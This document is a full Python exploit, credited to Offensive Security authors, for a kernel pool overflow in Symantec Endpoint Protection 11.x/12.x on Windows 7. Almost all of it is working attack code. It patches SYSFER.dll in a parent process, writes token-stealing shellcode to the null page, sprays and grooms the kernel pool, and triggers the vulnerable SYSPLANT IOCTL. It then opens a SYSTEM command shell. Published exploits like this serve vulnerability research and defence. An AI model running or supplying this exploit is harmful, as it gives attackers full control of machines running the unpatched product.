Symantec Endpoint Protection 11.x/12.x – Kernel Pool Overflow / Local Privilege Escalation
# Symantec Endpoint Protection 11.x, 12.x - Kernel Pool Overflow # http://www.offensive-security.com # Tested on Windows 7 # http://www.offensive-security.com/vulndev/symantec-endpoint-protection-0day/ # Authors: Matteo 'ryujin' Memelli & Alexandru 'sickness' Uifalvi <at> offensive-security.com from ctypes import * from ctypes.wintypes import * import struct, sys, os, time ntdll = windll.ntdll kernel32 = windll.kernel32 TH32CS_SNAPPROCESS = 0x02 PROCESS_ALL_ACCESS = 0x1fffff FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 NULL = 0x0 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 SystemExtendedHandleInformation = 64 STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 STATUS_INVALID_HANDLE = 0xC0000008 STATUS_SUCCESS = 0 PVOID = c_void_p HANDLE = c_void_p class LSA_UNICODE_STRING(Structure): """Represent the LSA_UNICODE_STRING on ntdll.""" _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", LPWSTR), ] class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll.""" _fields_ = [ ("Object", PVOID), ("UniqueProcessId", ULONG), ("HandleValue", ULONG), ("GrantedAccess", ULONG), ("CreatorBackTraceIndex", USHORT), ("ObjectTypeIndex", USHORT), ("HandleAttributes", ULONG), ("Reserved", ULONG), ] class SYSTEM_HANDLE_INFORMATION_EX(Structure): """Represent the SYSTEM_HANDLE_INFORMATION on ntdll.""" _fields_ = [ ("NumberOfHandles", ULONG), ("Reserved", ULONG), ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), ] class PUBLIC_OBJECT_TYPE_INFORMATION(Structure): """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll.""" _fields_ = [ ("Name", LSA_UNICODE_STRING), ("Reserved", ULONG * 22), ] class PROCESSENTRY32(Structure): _fields_ = [ ("dwSize", c_ulong), ("cntUsage", c_ulong), ("th32ProcessID", c_ulong), ("th32DefaultHeapID", c_int), ("th32ModuleID", c_ulong), ("cntThreads", c_ulong), ("th32ParentProcessID", c_ulong), ("pcPriClassBase", c_long), ("dwFlags", c_ulong), ("szExeFile", c_wchar * MAX_PATH) ] Process32First = kernel32.Process32FirstW Process32Next = kernel32.Process32NextW def header(): """Print exploit header""" print "[+] Sysplant 0x0222084 Kernel Pool Overflow" print "[+] Product: Symantec Endpoint Protection" print "[+] Authors: Matteo 'ryujin' Memelli & Alexandru 'sickness' Uifalvi <at> offensive-security.com" def getLastError(): """Format GetLastError""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), NULL, buf, sizeof(buf), NULL): print "[-] " + buf.value else: print "[-] Unknown Error" def signed_to_unsigned(signed): """Convert signed to unsigned integer""" unsigned, = struct.unpack ("L", struct.pack ("l", signed)) return unsigned def get_type_info (handle): """Get the handle type information.""" public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION() size = DWORD(sizeof(public_object_type_information)) while True: result = signed_to_unsigned( ntdll.NtQueryObject( handle, 2, byref(public_object_type_information), size, None)) if result == STATUS_SUCCESS: return public_object_type_information.Name.Buffer elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(public_object_type_information, size.value) elif result == STATUS_INVALID_HANDLE: return None else: raise x_file_handles("NtQueryObject.2", hex (result)) def get_handles(): """Return all the processes handles in the system atm.""" system_handle_information = SYSTEM_HANDLE_INFORMATION_EX() size = DWORD (sizeof (system_handle_information)) while True: result = ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, byref(system_handle_information), size, byref(size) ) result = signed_to_unsigned(result) if result == STATUS_SUCCESS: break elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(system_handle_information, size.value) else: raise x_file_handles("NtQuerySystemInformation", hex(result)) pHandles = cast( system_handle_information.Handles, POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \ system_handle_information.NumberOfHandles) ) for handle in pHandles.contents: yield handle.UniqueProcessId, handle.HandleValue, handle.Object def getppid(mypid=None, rec=False): """ Get Parent Process """ pe = PROCESSENTRY32() pe.dwSize = sizeof(PROCESSENTRY32) if not mypid: mypid = kernel32.GetCurrentProcessId() snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) result = 0 try: have_record = Process32First(snapshot, byref(pe)) while have_record: if mypid == pe.th32ProcessID: if rec: result = getppid(pe.th32ParentProcessID, False) break else: result = pe.th32ParentProcessID break have_record = Process32Next(snapshot, byref(pe)) finally: kernel32.CloseHandle(snapshot) return result def getSysFerPointer(phandle): """ Get child_block and child_block_size variable addresses """ csysfer = create_string_buffer("SYSFER.dll", len("SYSFER.dll")) hsysfer = kernel32.LoadLibraryA(addressof(csysfer)) if not hsysfer: print "[-] LoadLibrary Failed!" sys.exit() print "[+] SYSFER Base address %s" % hex(hsysfer) cscb = create_string_buffer("child_block", len("child_block")) sysfer_child_block = kernel32.GetProcAddress(hsysfer, addressof(cscb)) if not sysfer_child_block: print "[-] GetProcAddress Failed!" sys.exit() print "[+] SYSFER!child_block ptr @ %s" % hex(sysfer_child_block) cscbs = create_string_buffer("child_block_size", len("child_block_size")) sysfer_child_block_s = kernel32.GetProcAddress(hsysfer, addressof(cscbs)) if not sysfer_child_block_s: print "[-] GetProcAddress Failed!" sys.exit() print "[+] SYSFER!child_block_size ptr @ %s" % hex(sysfer_child_block_s) child_block = c_ulong(0) read = c_ulong(0) # Read child_block address res = kernel32.ReadProcessMemory(phandle, sysfer_child_block, byref(child_block), sizeof(c_ulong), byref(read)) if res == 0 or res == -1: print "[-] ReadProcessMemory Failed!" getLastError() sys.exit() # Read child_block_size child_block_s = c_ulong(0) res = kernel32.ReadProcessMemory(phandle, sysfer_child_block_s, byref(child_block_s), sizeof(c_ulong), byref(read)) if res == 0 or res == -1: print "[-] ReadProcessMemory Failed!" getLastError() sys.exit() print "[+] SYSFER Pointer retrieved successfully!" return child_block, child_block_s, sysfer_child_block, sysfer_child_block_s def craftSysFerData(phandle, sysfer_child_block, sysfer_child_block_s, evil_child_block, evil_child_block_size): """ Replace SysFerData to control memcpy source buffer """ wrote = c_ulong(0) ecb = struct.pack("<L", evil_child_block) cecb = create_string_buffer(ecb, 0x4) print "[+] Patching %x with %x" % (sysfer_child_block, evil_child_block) res = kernel32.WriteProcessMemory(phandle, sysfer_child_block, addressof(cecb), 0x4, byref(wrote)) if res == 0 or res == -1: getLastError() sys.exit() ecbs = struct.pack("<L", evil_child_block_size) csrc = create_string_buffer(ecbs, 0x4) print "[+] Patching %x with %s" % (sysfer_child_block_s, hex(evil_child_block_size)) res = kernel32.WriteProcessMemory(phandle, sysfer_child_block_s, addressof(csrc), 0x4, byref(wrote)) if res == 0 or res == -1: getLastError() sys.exit() print "[+] SYSFER.DLL patched successfully!" def allocShellcode(): """ Allocate OkayToCloseProcedure ptr and shellcode """ baseadd = c_int(0x00000004) null_size = c_int(0x1000) tokenstealing = ( "\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x50\x8B\xC8\x8B\x80" "\xB8\x00\x00\x00\x2D\xB8\x00\x00\x00\x83\xB8\xB4\x00\x00\x00\x04" "\x75\xEC\x8B\x90\xF8\x00\x00\x00\x89\x91\xF8\x00\x00\x00\xC2\x10" "\x00" ) OkayToCloseProcedure = struct.pack("<L", 0x00000078) sc = "\x42" * 0x70 + OkayToCloseProcedure # 83C6 0C ADD ESI,0C # C706 0A000800 MOV DWORD PTR DS:[ESI],8000A # 83EE 0C SUB ESI,0C sc += "\x83\xC6\x0C\xC7\x06\x0A\x00\x08\x00\x83\xEE\x0C" # RESTORE TypeIndex sc += tokenstealing sc += "\x90" * (0x400-len(sc)) ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, POINTER(c_int), c_int, c_int] dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: print "[+] Error while allocating the null paged memory: %s" % dwStatus getLastError() sys.exit() written = c_ulong() alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000004, sc, 0x400, byref(written)) if alloc == 0: print "[+] Error while writing our junk to the null paged memory: %s" %\ alloc getLastError() sys.exit() def allocInput(phandle, evil_child_block_size): """ Allocate the source buffer in the parent process """ v = kernel32.VirtualAllocEx(phandle, 0x0, evil_child_block_size, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) # 8654c580 040c0090 ef436f49 00000000 0000005c # 8654c590 00000000 00000000 00000001 00000001 # 8654c5a0 00000000 0008000a quota = "\x00\x00\x00\x00" header = "\x90\x00\x0c\x04\x49\x6f\x43\xef\x00\x00\x00\x00\x5c\x00\x00\x00" header += "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00" header += "\x00\x00\x00\x00" TypeIndex = "\x00\x00\x08\x00" offset = "\x45" * (evil_child_block_size-len(header)-len(TypeIndex)-\ len(quota)) overflow = offset + quota + header + TypeIndex csrc = create_string_buffer(overflow, evil_child_block_size) wrote = c_ulong(0) res = kernel32.WriteProcessMemory(phandle, v, addressof(csrc), evil_child_block_size, byref(wrote)) if res == 0 or res == -1: getLastError() sys.exit() print "[+] evil_child_block address: %s" % hex(v) return v def triggerIOCTL(): """ Trigger the vulnerable IOCTL code """ GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 DEVICE_NAME = u"\\\\.\\SYSPLANT" dwReturn = c_ulong() driver_handle = kernel32.CreateFileW(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) if not driver_handle or driver_handle == -1: getLastError() sys.exit() ioctl = 0x00222084 evil_input = "\x41" * 4 + struct.pack("<L", ioctl) + "D" * 56 evil_size = len(evil_input) print "[+] IOCTL: %s" % hex(ioctl) print "[+] Buf size: %d" % evil_size einput = create_string_buffer(evil_input, evil_size) eoutput = create_string_buffer("\x00"*1024, 1024) dev_ioctl = kernel32.DeviceIoControl(driver_handle , ioctl, addressof(einput) , evil_size, addressof(eoutput), 1024, byref(dwReturn) , None) def spray(): """Spray the Kernel Pool with IoCompletionReserve Objects. Each object is 0x60 bytes in length and is allocated from the Nonpaged kernel pool""" global handles, done handles = {} IO_COMPLETION_OBJECT = 1 for i in range(0, 50000): hHandle = HANDLE(0) ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT) #print "[+] New Object created successfully, handle value: ", hHandle handles[hHandle.value]=hHandle print "[+] Spray done!" def findMemoryWindows(): """ Find all possible windows of 0x480 bytes with a further adjacent IoCompletionReserve object that we can overwrite. Finally trigger 0x00222084 to allocate the IOCTL input buffer in one of the windows. The IOCTL input buffer has been changed to avoid the overflow at this time, so that we can study the allocations without BSODing the box""" global handles, done mypid = os.getpid() khandlesd = {} khandlesl = [] # Leak Kernel Handles for pid, handle, obj in get_handles(): #print handle, obj if pid==mypid and get_type_info(handle)=="IoCompletionReserve": khandlesd[obj] = handle khandlesl.append(obj) # Find holes and make our allocation holes = [] for obj in khandlesl: # obj address is the handle address, but we want to allocation # address, so we just remove the size of the object header from it. # IoCompletionReserve Chunk Header 0x30 alloc = obj-0x30 # Get allocations at beginning of the page if (alloc&0xfffff000) == alloc: # find holes # If we get a KeyError allocations are not adjecient try: holes.append( ( khandlesd[obj+0x580],khandlesd[obj+0x520], khandlesd[obj+0x4c0],khandlesd[obj+0x460], khandlesd[obj+0x400],khandlesd[obj+0x3a0], khandlesd[obj+0x340],khandlesd[obj+0x2e0], khandlesd[obj+0x280],khandlesd[obj+0x220], khandlesd[obj+0x1c0],khandlesd[obj+0x160], khandlesd[obj+0x100]) ) print "[+] Hole Window found @ %s" % hex(alloc) except KeyError: pass # Create Memory Windows of 0x480 bytes (0x60*12) ... print "[*] Your IOCTL Allocation will be @ 0x*****100" print "[*] The Overflown Allocation will be @ 0x*****580" for hole in holes: kernel32.CloseHandle(handles[ hole[1] ]) kernel32.CloseHandle(handles[ hole[2] ]) kernel32.CloseHandle(handles[ hole[3] ]) kernel32.CloseHandle(handles[ hole[4] ]) kernel32.CloseHandle(handles[ hole[5] ]) kernel32.CloseHandle(handles[ hole[6] ]) kernel32.CloseHandle(handles[ hole[7] ]) kernel32.CloseHandle(handles[ hole[8] ]) kernel32.CloseHandle(handles[ hole[9] ]) kernel32.CloseHandle(handles[ hole[10] ]) kernel32.CloseHandle(handles[ hole[11] ]) kernel32.CloseHandle(handles[ hole[12] ]) # Make our Alloc of 0x480 bytes... triggerIOCTL() # trigger code execution for hole in holes: kernel32.CloseHandle(handles[ hole[0] ]) # Spawn a system shell os.system("cmd.exe /T:C0 /K cd C:\\Windows\\system32\\") done = False if __name__ == '__main__': global handles, done exploit = False done = True header() try: if sys.argv[1].lower() == 'exploit': exploit = True except IndexError: pass if not exploit: print "[+] Patching Input buffer from SYSFER Memory" phandle = c_ulong() # Use the following with Pyinstaller (2 parent processes) # parentpid = getppid(None, True) # Use the following from python script (parent is cmd.exe) # 1) parentpid = getppid(None, False) print "[+] Parent PID: %d" % parentpid # 2) phandle = kernel32.OpenProcess(PROCESS_ALL_ACCESS, 0x0, parentpid) print "[+] Parent Handle: %d" % phandle # 3) child_block,child_block_s,sysfer_child_block,sysfer_child_block_s =\ getSysFerPointer(phandle) evil_child_block_size = 0x44c # pool overflow and TypeIndex overwrite # 4) evil_child_block = allocInput(phandle, evil_child_block_size) # 5) craftSysFerData(phandle, sysfer_child_block, sysfer_child_block_s, evil_child_block, evil_child_block_size) kernel32.CloseHandle(phandle) print "[+] NOW RUN %s exploit" % sys.argv[0] sys.exit() # 6) Alloc shellcode allocShellcode() # 7) Spray #spray() dwThreadId1 = c_ulong(0) THREADFUNC = CFUNCTYPE(None) spray_thread = THREADFUNC(spray) hThread1 = HANDLE(0) hThread1 = windll.kernel32.CreateThread(0,0,spray_thread,0,0,byref(dwThreadId1)) print "[+] Spray Thread Created TID: %d" % hThread1 curpr = windll.kernel32.GetThreadPriority(hThread1) print "[+] Current priority: %d" % curpr print "[+] Setting high priority...." windll.kernel32.SetThreadPriority(hThread1, 2) curpr = windll.kernel32.GetThreadPriority(hThread1) time.sleep(3) # 8) Create holes to fit our allocation and trigger the IOCTL #findMemoryWindows() dwThreadId2 = c_ulong(0) findMemoryWindows_thread = THREADFUNC(findMemoryWindows) hThread2 = HANDLE(0) hThread2 = windll.kernel32.CreateThread(0,0,findMemoryWindows_thread,0,0,byref(dwThreadId2)) print "[+] findMemoryWindows Thread Created TID: %d" % hThread2 curpr = windll.kernel32.GetThreadPriority(hThread2) print "[+] Current priority: %d" % curpr print "[+] Setting high priority...." windll.kernel32.SetThreadPriority(hThread2, 2) curpr = windll.kernel32.GetThreadPriority(hThread2) while done: time.sleep(1) |